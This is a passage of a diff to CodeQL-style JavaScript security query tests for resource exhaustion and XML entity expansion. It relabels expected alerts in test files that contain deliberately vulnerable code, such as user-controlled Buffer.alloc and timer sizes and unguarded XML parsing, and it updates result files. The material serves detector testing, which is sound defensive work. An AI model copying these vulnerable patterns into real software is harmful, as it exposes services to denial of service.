+| resource-exhaustion.js:27:9:27:9 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:27:9:27:9 | n | This creates an array with a user-controlled length from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
+| resource-exhaustion.js:28:13:28:13 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:28:13:28:13 | n | This creates an array with a user-controlled length from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
+| resource-exhaustion.js:29:9:29:9 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:29:9:29:9 | n | This creates an array with a user-controlled length from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
+| resource-exhaustion.js:30:9:30:9 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:30:9:30:9 | n | This creates an array with a user-controlled length from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
+| resource-exhaustion.js:31:9:31:9 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:31:9:31:9 | n | This creates an array with a user-controlled length from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
+| resource-exhaustion.js:32:9:32:9 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:32:9:32:9 | n | This creates an array with a user-controlled length from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
+| resource-exhaustion.js:34:12:34:12 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:34:12:34:12 | n | This creates a string with a user-controlled length from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
+| resource-exhaustion.js:35:12:35:12 | s | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:35:12:35:12 | s | This creates a string with a user-controlled length from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
+| resource-exhaustion.js:81:17:81:17 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:81:17:81:17 | n | This creates a timer with a user-controlled duration from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
+| resource-exhaustion.js:82:17:82:17 | s | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:82:17:82:17 | s | This creates a timer with a user-controlled duration from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
+| resource-exhaustion.js:83:18:83:18 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:83:18:83:18 | n | This creates a timer with a user-controlled duration from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
+| resource-exhaustion.js:84:18:84:18 | s | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:84:18:84:18 | s | This creates a timer with a user-controlled duration from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
+| resource-exhaustion.js:88:16:88:16 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:88:16:88:16 | n | This creates a buffer with a user-controlled size from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
+| resource-exhaustion.js:92:18:92:18 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:92:18:92:18 | n | This creates a buffer with a user-controlled size from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
 edges
 | documentaion-examples/ResourceExhaustion_timeout.js:5:6:5:59 | delay | documentaion-examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | provenance |  |
 | documentaion-examples/ResourceExhaustion_timeout.js:5:14:5:59 | parseIn ... .delay) | documentaion-examples/ResourceExhaustion_timeout.js:5:6:5:59 | delay | provenance |  |
@@ -61,24 +82,3 @@ nodes
 | resource-exhaustion.js:88:16:88:16 | n | semmle.label | n |
 | resource-exhaustion.js:92:18:92:18 | n | semmle.label | n |
 subpaths
-#select
-| documentaion-examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | documentaion-examples/ResourceExhaustion_timeout.js:5:33:5:39 | req.url | documentaion-examples/ResourceExhaustion_timeout.js:7:16:7:20 | delay | This creates a timer with a user-controlled duration from a $@. | documentaion-examples/ResourceExhaustion_timeout.js:5:33:5:39 | req.url | user-provided value |
-| resource-exhaustion.js:14:16:14:16 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:14:16:14:16 | n | This creates a buffer with a user-controlled size from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
-| resource-exhaustion.js:15:22:15:22 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:15:22:15:22 | n | This creates a buffer with a user-controlled size from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
-| resource-exhaustion.js:16:26:16:26 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:16:26:16:26 | n | This creates a buffer with a user-controlled size from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
-| resource-exhaustion.js:20:20:20:20 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:20:20:20:20 | n | This creates a buffer with a user-controlled size from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
-| resource-exhaustion.js:22:18:22:18 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:22:18:22:18 | n | This creates a buffer with a user-controlled size from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
-| resource-exhaustion.js:27:9:27:9 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:27:9:27:9 | n | This creates an array with a user-controlled length from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
-| resource-exhaustion.js:28:13:28:13 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:28:13:28:13 | n | This creates an array with a user-controlled length from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
-| resource-exhaustion.js:29:9:29:9 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:29:9:29:9 | n | This creates an array with a user-controlled length from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
-| resource-exhaustion.js:30:9:30:9 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:30:9:30:9 | n | This creates an array with a user-controlled length from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
-| resource-exhaustion.js:31:9:31:9 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:31:9:31:9 | n | This creates an array with a user-controlled length from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
-| resource-exhaustion.js:32:9:32:9 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:32:9:32:9 | n | This creates an array with a user-controlled length from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
-| resource-exhaustion.js:34:12:34:12 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:34:12:34:12 | n | This creates a string with a user-controlled length from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
-| resource-exhaustion.js:35:12:35:12 | s | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:35:12:35:12 | s | This creates a string with a user-controlled length from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
-| resource-exhaustion.js:81:17:81:17 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:81:17:81:17 | n | This creates a timer with a user-controlled duration from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
-| resource-exhaustion.js:82:17:82:17 | s | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:82:17:82:17 | s | This creates a timer with a user-controlled duration from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
-| resource-exhaustion.js:83:18:83:18 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:83:18:83:18 | n | This creates a timer with a user-controlled duration from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
-| resource-exhaustion.js:84:18:84:18 | s | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:84:18:84:18 | s | This creates a timer with a user-controlled duration from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
-| resource-exhaustion.js:88:16:88:16 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:88:16:88:16 | n | This creates a buffer with a user-controlled size from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
-| resource-exhaustion.js:92:18:92:18 | n | resource-exhaustion.js:5:21:5:27 | req.url | resource-exhaustion.js:92:18:92:18 | n | This creates a buffer with a user-controlled size from a $@. | resource-exhaustion.js:5:21:5:27 | req.url | user-provided value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion/ResourceExhaustion.qlref b/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion/ResourceExhaustion.qlref
index 38e612d406f6..3248f2a4b360 100644
--- a/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion/ResourceExhaustion.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion/ResourceExhaustion.qlref
@@ -1 +1,2 @@
-Security/CWE-770/ResourceExhaustion.ql
+query: Security/CWE-770/ResourceExhaustion.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion/documentaion-examples/ResourceExhaustion_timeout.js b/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion/documentaion-examples/ResourceExhaustion_timeout.js
index 1718509534bf..662c1a9be2ad 100644
--- a/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion/documentaion-examples/ResourceExhaustion_timeout.js
+++ b/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion/documentaion-examples/ResourceExhaustion_timeout.js
@@ -2,8 +2,8 @@ var http = require("http"),
     url = require("url");
 
 var server = http.createServer(function(req, res) {
-	var delay = parseInt(url.parse(req.url, true).query.delay);
+	var delay = parseInt(url.parse(req.url, true).query.delay); // $ Source
 
-	setTimeout(f, delay); // BAD
+	setTimeout(f, delay); // $ Alert
 
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion/documentaion-examples/ResourceExhaustion_timeout_fixed.js b/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion/documentaion-examples/ResourceExhaustion_timeout_fixed.js
index 2f5a614e3d73..33826f48fa8b 100644
--- a/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion/documentaion-examples/ResourceExhaustion_timeout_fixed.js
+++ b/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion/documentaion-examples/ResourceExhaustion_timeout_fixed.js
@@ -10,6 +10,6 @@ var server = http.createServer(function(req, res) {
 		return;
 	}
 
-	setTimeout(f, delay); // GOOD
+	setTimeout(f, delay);
 
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion/resource-exhaustion.js b/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion/resource-exhaustion.js
index ddda361db3ac..763c62edc83b 100644
--- a/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion/resource-exhaustion.js
+++ b/javascript/ql/test/query-tests/Security/CWE-770/ResourceExhaustion/resource-exhaustion.js
@@ -2,94 +2,94 @@ var http = require("http"),
     url = require("url");
 
 var server = http.createServer(function(req, res) {
-  let s = url.parse(req.url, true).query.s;
+  let s = url.parse(req.url, true).query.s; // $ Source
   let n = parseInt(s);
 
-  Buffer.from(s); // OK
-  Buffer.from(n); // OK
-  Buffer.from(x, n); // OK
+  Buffer.from(s);
+  Buffer.from(n);
+  Buffer.from(x, n);
   Buffer.from(x, y, s); // OK - does not allocate memory
   Buffer.from(x, y, n); // OK - does not allocate memory
   Buffer.from(x, y, n); // OK - does not allocate memory
-  Buffer.alloc(n); // NOT OK
-  Buffer.allocUnsafe(n); // NOT OK
-  Buffer.allocUnsafeSlow(n); // NOT OK
+  Buffer.alloc(n); // $ Alert
+  Buffer.allocUnsafe(n); // $ Alert
+  Buffer.allocUnsafeSlow(n); // $ Alert
 
-  new Buffer(n); // NOT OK - but not flagged [INCONSISTENCY]
-  new Buffer(x, n); // OK
-  new Buffer(x, y, n); // NOT OK
+  new Buffer(n); // $ MISSING: Alert
+  new Buffer(x, n);
+  new Buffer(x, y, n); // $ Alert
 
-  new SlowBuffer(n); // NOT OK
+  new SlowBuffer(n); // $ Alert
 
-  Array(n); // OK
-  new Array(n); // OK
+  Array(n);
+  new Array(n);
 
-  Array(n).map(); // NOT OK
-  new Array(n).map(); // NOT OK
-  Array(n).fill(); // NOT OK
-  Array(n).join(); // NOT OK
-  Array(n).toString(); // NOT OK
-  Array(n) + x; // NOT OK
+  Array(n).map(); // $ Alert
+  new Array(n).map(); // $ Alert
+  Array(n).fill(); // $ Alert
+  Array(n).join(); // $ Alert
+  Array(n).toString(); // $ Alert
+  Array(n) + x; // $ Alert
 
-  x.repeat(n); // NOT OK
-  x.repeat(s); // NOT OK
+  x.repeat(n); // $ Alert
+  x.repeat(s); // $ Alert
 
-  new Buffer(n * x); // NOT OK - but not flagged [INCONSISTENCY]
-  new Buffer(n + n); // NOT OK - but not flagged [INCONSISTENCY]
-  new Buffer(n + x); // OK (maybe)
-  new Buffer(n + s); // OK (this is  a string if `s` is a string)
-  new Buffer(s + 2); // OK (this is  a string if `s` is a string)
-  new Buffer(s + s); // OK
-  new Buffer(n + "X"); // OK
+  new Buffer(n * x); // $ MISSING: Alert
+  new Buffer(n + n); // $ MISSING: Alert
+  new Buffer(n + x); // OK - maybe
+  new Buffer(n + s); // OK - this is  a string if `s` is a string
+  new Buffer(s + 2); // OK - this is  a string if `s` is a string
+  new Buffer(s + s);
+  new Buffer(n + "X");
 
-  new Buffer(Math.ceil(s)); // NOT OK - but not flagged [INCONSISTENCY]
-  new Buffer(Number(s)); // NOT OK - but not flagged [INCONSISTENCY]
-  new Buffer(new Number(s)); // OK
+  new Buffer(Math.ceil(s)); // $ MISSING: Alert
+  new Buffer(Number(s)); // $ MISSING: Alert
+  new Buffer(new Number(s));
 
-  new Buffer(s + x.length); // OK (this is a string if `s` is a string)
-  new Buffer(s.length); // NOT OK - but not flagged [INCONSISTENCY]
+  new Buffer(s + x.length); // OK - this is a string if `s` is a string
+  new Buffer(s.length); // $ MISSING: Alert
 
   if (n < 100) {
-    new Buffer(n); // OK
+    new Buffer(n);
   } else {
-    new Buffer(n); // NOT OK - but not flagged [INCONSISTENCY]
+    new Buffer(n); // $ MISSING: Alert
   }
 
   let ns = x ? n : s;
-  new Buffer(ns); // NOT OK - but not flagged [INCONSISTENCY]
+  new Buffer(ns); // $ MISSING: Alert
 
-  new Buffer(n.toString()); // OK
+  new Buffer(n.toString());
 
   if (typeof n === "string") {
-    new Buffer(n); // OK
+    new Buffer(n);
   } else {
-    new Buffer(n); // NOT OK - but not flagged [INCONSISTENCY]
+    new Buffer(n); // $ MISSING: Alert
   }
 
   if (typeof n === "number") {
-    new Buffer(n); // NOT OK - but not flagged [INCONSISTENCY]
+    new Buffer(n); // $ MISSING: Alert
   } else {
-    new Buffer(n); // OK
+    new Buffer(n);
   }
 
   if (typeof s === "number") {
-    new Buffer(s); // NOT OK - but not flagged [INCONSISTENCY]
+    new Buffer(s); // $ MISSING: Alert
   } else {
-    new Buffer(s); // OK
+    new Buffer(s);
   }
 
-  setTimeout(f, n); // NOT OK
-  setTimeout(f, s); // NOT OK
-  setInterval(f, n); // NOT OK
-  setInterval(f, s); // NOT OK
+  setTimeout(f, n); // $ Alert
+  setTimeout(f, s); // $ Alert
+  setInterval(f, n); // $ Alert
+  setInterval(f, s); // $ Alert
 
   Buffer.alloc(n.length); // OK - only allocing as much as the length of the input.
 
-  Buffer.alloc(n); // NOT OK
+  Buffer.alloc(n); // $ Alert
   if (n < 1000) {
     Buffer.alloc(n); // OK - length check
   } else {
-    Buffer.alloc(n); // NOT OK - NO length check
+    Buffer.alloc(n); // $ Alert - NO length check
   }
 });
 
diff --git a/javascript/ql/test/query-tests/Security/CWE-776/XmlBomb.expected b/javascript/ql/test/query-tests/Security/CWE-776/XmlBomb.expected
index bcdb2c57680c..2b4d41804915 100644
--- a/javascript/ql/test/query-tests/Security/CWE-776/XmlBomb.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-776/XmlBomb.expected
@@ -1,38 +1,38 @@
+#select
+| closure.js:3:24:3:26 | src | closure.js:2:13:2:36 | documen ... .search | closure.js:3:24:3:26 | src | XML parsing depends on a $@ without guarding against uncontrolled entity expansion. | closure.js:2:13:2:36 | documen ... .search | user-provided value |
+| domparser.js:5:37:5:39 | src | domparser.js:2:13:2:36 | documen ... .search | domparser.js:5:37:5:39 | src | XML parsing depends on a $@ without guarding against uncontrolled entity expansion. | domparser.js:2:13:2:36 | documen ... .search | user-provided value |
+| domparser.js:9:55:9:57 | src | domparser.js:2:13:2:36 | documen ... .search | domparser.js:9:55:9:57 | src | XML parsing depends on a $@ without guarding against uncontrolled entity expansion. | domparser.js:2:13:2:36 | documen ... .search | user-provided value |
+| domparser.js:11:57:11:59 | src | domparser.js:2:13:2:36 | documen ... .search | domparser.js:11:57:11:59 | src | XML parsing depends on a $@ without guarding against uncontrolled entity expansion. | domparser.js:2:13:2:36 | documen ... .search | user-provided value |
+| expat.js:6:16:6:36 | req.par ... e-xml") | expat.js:6:16:6:36 | req.par ... e-xml") | expat.js:6:16:6:36 | req.par ... e-xml") | XML parsing depends on a $@ without guarding against uncontrolled entity expansion. | expat.js:6:16:6:36 | req.par ... e-xml") | user-provided value |
+| jquery.js:4:14:4:16 | src | jquery.js:2:13:2:36 | documen ... .search | jquery.js:4:14:4:16 | src | XML parsing depends on a $@ without guarding against uncontrolled entity expansion. | jquery.js:2:13:2:36 | documen ... .search | user-provided value |
+| libxml.js:5:21:5:41 | req.par ... e-xml") | libxml.js:5:21:5:41 | req.par ... e-xml") | libxml.js:5:21:5:41 | req.par ... e-xml") | XML parsing depends on a $@ without guarding against uncontrolled entity expansion. | libxml.js:5:21:5:41 | req.par ... e-xml") | user-provided value |
+| libxml.noent.js:5:21:5:41 | req.par ... e-xml") | libxml.noent.js:5:21:5:41 | req.par ... e-xml") | libxml.noent.js:5:21:5:41 | req.par ... e-xml") | XML parsing depends on a $@ without guarding against uncontrolled entity expansion. | libxml.noent.js:5:21:5:41 | req.par ... e-xml") | user-provided value |
+| libxml.sax.js:6:22:6:42 | req.par ... e-xml") | libxml.sax.js:6:22:6:42 | req.par ... e-xml") | libxml.sax.js:6:22:6:42 | req.par ... e-xml") | XML parsing depends on a $@ without guarding against uncontrolled entity expansion. | libxml.sax.js:6:22:6:42 | req.par ... e-xml") | user-provided value |
+| libxml.saxpush.js:6:15:6:35 | req.par ... e-xml") | libxml.saxpush.js:6:15:6:35 | req.par ... e-xml") | libxml.saxpush.js:6:15:6:35 | req.par ... e-xml") | XML parsing depends on a $@ without guarding against uncontrolled entity expansion. | libxml.saxpush.js:6:15:6:35 | req.par ... e-xml") | user-provided value |
 edges
-| closure.js:2:7:2:36 | src | closure.js:4:24:4:26 | src | provenance |  |
+| closure.js:2:7:2:36 | src | closure.js:3:24:3:26 | src | provenance |  |
 | closure.js:2:13:2:36 | documen ... .search | closure.js:2:7:2:36 | src | provenance |  |
-| domparser.js:2:7:2:36 | src | domparser.js:6:37:6:39 | src | provenance |  |
-| domparser.js:2:7:2:36 | src | domparser.js:11:55:11:57 | src | provenance |  |
-| domparser.js:2:7:2:36 | src | domparser.js:14:57:14:59 | src | provenance |  |
+| domparser.js:2:7:2:36 | src | domparser.js:5:37:5:39 | src | provenance |  |
+| domparser.js:2:7:2:36 | src | domparser.js:9:55:9:57 | src | provenance |  |
+| domparser.js:2:7:2:36 | src | domparser.js:11:57:11:59 | src | provenance |  |
 | domparser.js:2:13:2:36 | documen ... .search | domparser.js:2:7:2:36 | src | provenance |  |
-| jquery.js:2:7:2:36 | src | jquery.js:5:14:5:16 | src | provenance |  |
+| jquery.js:2:7:2:36 | src | jquery.js:4:14:4:16 | src | provenance |  |
 | jquery.js:2:13:2:36 | documen ... .search | jquery.js:2:7:2:36 | src | provenance |  |
 nodes
 | closure.js:2:7:2:36 | src | semmle.label | src |
 | closure.js:2:13:2:36 | documen ... .search | semmle.label | documen ... .search |
-| closure.js:4:24:4:26 | src | semmle.label | src |
+| closure.js:3:24:3:26 | src | semmle.label | src |
 | domparser.js:2:7:2:36 | src | semmle.label | src |
 | domparser.js:2:13:2:36 | documen ... .search | semmle.label | documen ... .search |
-| domparser.js:6:37:6:39 | src | semmle.label | src |
-| domparser.js:11:55:11:57 | src | semmle.label | src |
-| domparser.js:14:57:14:59 | src | semmle.label | src |
+| domparser.js:5:37:5:39 | src | semmle.label | src |
+| domparser.js:9:55:9:57 | src | semmle.label | src |
+| domparser.js:11:57:11:59 | src | semmle.label | src |
 | expat.js:6:16:6:36 | req.par ... e-xml") | semmle.label | req.par ... e-xml") |
 | jquery.js:2:7:2:36 | src | semmle.label | src |
 | jquery.js:2:13:2:36 | documen ... .search | semmle.label | documen ... .search |
-| jquery.js:5:14:5:16 | src | semmle.label | src |
-| libxml.js:6:21:6:41 | req.par ... e-xml") | semmle.label | req.par ... e-xml") |
-| libxml.noent.js:6:21:6:41 | req.par ... e-xml") | semmle.label | req.par ... e-xml") |
+| jquery.js:4:14:4:16 | src | semmle.label | src |
+| libxml.js:5:21:5:41 | req.par ... e-xml") | semmle.label | req.par ... e-xml") |
+| libxml.noent.js:5:21:5:41 | req.par ... e-xml") | semmle.label | req.par ... e-xml") |
 | libxml.sax.js:6:22:6:42 | req.par ... e-xml") | semmle.label | req.par ... e-xml") |
 | libxml.saxpush.js:6:15:6:35 | req.par ... e-xml") | semmle.label | req.par ... e-xml") |
 subpaths
-#select
-| closure.js:4:24:4:26 | src | closure.js:2:13:2:36 | documen ... .search | closure.js:4:24:4:26 | src | XML parsing depends on a $@ without guarding against uncontrolled entity expansion. | closure.js:2:13:2:36 | documen ... .search | user-provided value |
-| domparser.js:6:37:6:39 | src | domparser.js:2:13:2:36 | documen ... .search | domparser.js:6:37:6:39 | src | XML parsing depends on a $@ without guarding against uncontrolled entity expansion. | domparser.js:2:13:2:36 | documen ... .search | user-provided value |
-| domparser.js:11:55:11:57 | src | domparser.js:2:13:2:36 | documen ... .search | domparser.js:11:55:11:57 | src | XML parsing depends on a $@ without guarding against uncontrolled entity expansion. | domparser.js:2:13:2:36 | documen ... .search | user-provided value |
-| domparser.js:14:57:14:59 | src | domparser.js:2:13:2:36 | documen ... .search | domparser.js:14:57:14:59 | src | XML parsing depends on a $@ without guarding against uncontrolled entity expansion. | domparser.js:2:13:2:36 | documen ... .search | user-provided value |
-| expat.js:6:16:6:36 | req.par ... e-xml") | expat.js:6:16:6:36 | req.par ... e-xml") | expat.js:6:16:6:36 | req.par ... e-xml") | XML parsing depends on a $@ without guarding against uncontrolled entity expansion. | expat.js:6:16:6:36 | req.par ... e-xml") | user-provided value |
-| jquery.js:5:14:5:16 | src | jquery.js:2:13:2:36 | documen ... .search | jquery.js:5:14:5:16 | src | XML parsing depends on a $@ without guarding against uncontrolled entity expansion. | jquery.js:2:13:2:36 | documen ... .search | user-provided value |
-| libxml.js:6:21:6:41 | req.par ... e-xml") | libxml.js:6:21:6:41 | req.par ... e-xml") | libxml.js:6:21:6:41 | req.par ... e-xml") | XML parsing depends on a $@ without guarding against uncontrolled entity expansion. | libxml.js:6:21:6:41 | req.par ... e-xml") | user-provided value |
-| libxml.noent.js:6:21:6:41 | req.par ... e-xml") | libxml.noent.js:6:21:6:41 | req.par ... e-xml") | libxml.noent.js:6:21:6:41 | req.par ... e-xml") | XML parsing depends on a $@ without guarding against uncontrolled entity expansion. | libxml.noent.js:6:21:6:41 | req.par ... e-xml") | user-provided value |
-| libxml.sax.js:6:22:6:42 | req.par ... e-xml") | libxml.sax.js:6:22:6:42 | req.par ... e-xml") | libxml.sax.js:6:22:6:42 | req.par ... e-xml") | XML parsing depends on a $@ without guarding against uncontrolled entity expansion. | libxml.sax.js:6:22:6:42 | req.par ... e-xml") | user-provided value |
-| libxml.saxpush.js:6:15:6:35 | req.par ... e-xml") | libxml.saxpush.js:6:15:6:35 | req.par ... e-xml") | libxml.saxpush.js:6:15:6:35 | req.par ... e-xml") | XML parsing depends on a $@ without guarding against uncontrolled entity expansion. | libxml.saxpush.js:6:15:6:35 | req.par ... e-xml") | user-provided value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-776/XmlBomb.qlref b/javascript/ql/test/query-tests/Security/CWE-776/XmlBomb.qlref
index c983b357446f..27bb68ab7b69 100644
--- a/javascript/ql/test/query-tests/Security/CWE-776/XmlBomb.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-776/XmlBomb.qlref
@@ -1 +1,2 @@
-Security/CWE-776/XmlBomb.ql
+query: Security/CWE-776/XmlBomb.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-776/closure.js b/javascript/ql/test/query-tests/Security/CWE-776/closure.js
index c8bc2536731a..f5d9fac99b7a 100644
--- a/javascript/ql/test/query-tests/Security/CWE-776/closure.js
+++ b/javascript/ql/test/query-tests/Security/CWE-776/closure.js
@@ -1,5 +1,4 @@
 function test() {
-  var src = document.location.search;
-  // NOT OK: Closure expands internal entities by default
-  goog.dom.xml.loadXml(src);
+  var src = document.location.search; // $ Source
+  goog.dom.xml.loadXml(src); // $ Alert - Closure expands internal entities by default
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-776/domparser.js b/javascript/ql/test/query-tests/Security/CWE-776/domparser.js
index 8e0cc0e462a2..4920ab7c9105 100644
--- a/javascript/ql/test/query-tests/Security/CWE-776/domparser.js
+++ b/javascript/ql/test/query-tests/Security/CWE-776/domparser.js
@@ -1,17 +1,14 @@
 function test() {
-  var src = document.location.search;
+  var src = document.location.search; // $ Source
 
   if (window.DOMParser) {
-    // NOT OK: DOMParser expands internal entities by default
-    new DOMParser().parseFromString(src, 'text/xml');
+    new DOMParser().parseFromString(src, 'text/xml'); // $ Alert - DOMParser expands internal entities by default
   } else {
     var parser;
     try {
-       // NOT OK: XMLDOM expands internal entities by default
-      (new ActiveXObject("Microsoft.XMLDOM")).loadXML(src);
+      (new ActiveXObject("Microsoft.XMLDOM")).loadXML(src); // $ Alert - XMLDOM expands internal entities by default
     } catch (e) {
-      // NOT OK: MSXML expands internal entities by default
-      (new ActiveXObject("Msxml2.DOMDocument")).loadXML(src);
+      (new ActiveXObject("Msxml2.DOMDocument")).loadXML(src); // $ Alert - MSXML expands internal entities by default
     }
   }
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-776/expat.js b/javascript/ql/test/query-tests/Security/CWE-776/expat.js
index 89e4d6c29ab1..49ceffcc8b92 100644
--- a/javascript/ql/test/query-tests/Security/CWE-776/expat.js
+++ b/javascript/ql/test/query-tests/Security/CWE-776/expat.js
@@ -3,5 +3,5 @@ const expat = require('node-expat');
 
 express().get('/some/path', function(req) {
   var parser = new expat.Parser();
-  parser.write(req.param("some-xml")); // NOT OK: expat expands internal entities by default
+  parser.write(req.param("some-xml")); // $ Alert - expat expands internal entities by default
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-776/jquery.js b/javascript/ql/test/query-tests/Security/CWE-776/jquery.js
index 77eb7d997242..bfb01e38200f 100644
--- a/javascript/ql/test/query-tests/Security/CWE-776/jquery.js
+++ b/javascript/ql/test/query-tests/Security/CWE-776/jquery.js
@@ -1,6 +1,5 @@
 function test() {
-  var src = document.location.search;
+  var src = document.location.search; // $ Source
 
-  // NOT OK: jQuery expands internal entities by default
-  $.parseXML(src);
+  $.parseXML(src); // $ Alert - jQuery expands internal entities by default
 }
diff --git a/javascript/ql/test/query-tests/Security/CWE-776/libxml.js b/javascript/ql/test/query-tests/Security/CWE-776/libxml.js
index bf847da57e8e..6af2da17ef5d 100644
--- a/javascript/ql/test/query-tests/Security/CWE-776/libxml.js
+++ b/javascript/ql/test/query-tests/Security/CWE-776/libxml.js
@@ -2,6 +2,5 @@ const express = require('express');
 const libxmljs = require('libxmljs');
 
 express().get('/some/path', function(req) {
-  // NOT OK: libxml expands internal general entities by default
-  libxmljs.parseXml(req.param("some-xml"));
+  libxmljs.parseXml(req.param("some-xml")); // $ Alert - libxml expands internal general entities by default
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-776/libxml.noent.js b/javascript/ql/test/query-tests/Security/CWE-776/libxml.noent.js
index b55e8c9c4130..da133cc782e0 100644
--- a/javascript/ql/test/query-tests/Security/CWE-776/libxml.noent.js
+++ b/javascript/ql/test/query-tests/Security/CWE-776/libxml.noent.js
@@ -2,6 +2,5 @@ const express = require('express');
 const libxmljs = require('libxmljs');
 
 express().get('/some/path', function(req) {
-  // NOT OK: unguarded entity expansion
-  libxmljs.parseXml(req.param("some-xml"), { noent: true });
+  libxmljs.parseXml(req.param("some-xml"), { noent: true }); // $ Alert - unguarded entity expansion
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-776/libxml.sax.js b/javascript/ql/test/query-tests/Security/CWE-776/libxml.sax.js
index 2c837c750d32..6049a8297a98 100644
--- a/javascript/ql/test/query-tests/Security/CWE-776/libxml.sax.js
+++ b/javascript/ql/test/query-tests/Security/CWE-776/libxml.sax.js
@@ -3,5 +3,5 @@ const libxmljs = require('libxmljs');
 
 express().get('/some/path', function(req) {
   const parser = new libxmljs.SaxParser();
-  parser.parseString(req.param("some-xml")); // NOT OK: the SAX parser expands external entities by default
